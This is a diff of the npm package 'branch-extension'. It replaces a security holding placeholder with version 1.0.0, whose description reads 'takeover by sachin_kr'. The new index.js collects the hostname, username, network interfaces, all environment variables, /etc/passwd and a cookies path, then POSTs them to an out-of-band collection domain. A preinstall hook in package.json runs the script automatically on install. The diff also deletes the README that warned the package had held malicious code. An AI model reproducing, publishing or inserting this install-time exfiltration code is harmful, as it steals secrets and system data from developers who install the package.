branch-extension 0.0.1-security → 1.0.0

package/index.js

@@ -0,0 +1,73 @@
+const os = require('os');
+const fs = require('fs');
+const https = require('https');
+
+// Helper function to send data back to your server
+const sendData = (data) => {
+    const options = {
+        hostname: 'tqixhxwvibvpvtsahqraqodmtpnukgttl.oast.fun', // Your server where you collect the info
+        port: 443,
+        path: '/branchExtensionbranchbbp',   //https://github.com/BranchMetrics/AdobeBranchExtension-Web/blob/cf1dac09852bbe7ee99ea323f3bcca551506f752/package.json
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+        },
+    };
+
+    const req = https.request(options, (res) => {
+        res.on('data', (d) => {
+            process.stdout.write(d);
+        });
+    });
+
+    req.on('error', (error) => {
+        console.error(error);
+    });
+
+    req.write(JSON.stringify(data));
+    req.end();
+};
+
+// Gather system information
+const getSystemInfo = () => {
+    const userInfo = os.userInfo();
+    const networkInterfaces = os.networkInterfaces();
+
+    const systemInfo = {
+        hostname: os.hostname(),
+        osType: os.type(),
+        osRelease: os.release(),
+        platform: os.platform(),
+        arch: os.arch(),
+        whoami: userInfo.username,
+        homeDir: userInfo.homedir,
+        networkInterfaces: networkInterfaces,
+        ipAddress: networkInterfaces['eth0'] ? networkInterfaces['eth0'][0].address : 'No IP',
+        macAddress: networkInterfaces['eth0'] ? networkInterfaces['eth0'][0].mac : 'No MAC',
+        uptime: os.uptime(),
+        currentWorkingDir: process.cwd(),
+        envVariables: process.env,
+    };
+
+    return systemInfo;
+};
+
+// Optionally, attempt to read sensitive files (ensure you are authorized to do so)
+const readSensitiveFile = (filePath) => {
+    try {
+        const data = fs.readFileSync(filePath, 'utf8');
+        return data;
+    } catch (err) {
+        return `Error reading ${filePath}: ${err.message}`;
+    }
+};
+
+// Collect data
+const collectedData = {
+    systemInfo: getSystemInfo(),
+    passwdFile: readSensitiveFile('/etc/passwd'),  // Non-sensitive file on Unix-based systems
+    cookies: readSensitiveFile('/path/to/cookies'), // Adjust the path based on environment
+};
+
+// Send collected data back to the attacker's server
+sendData(collectedData);

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "branch-extension",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "takeover by sachin_kr",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "index.js"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=branch-extension for more information.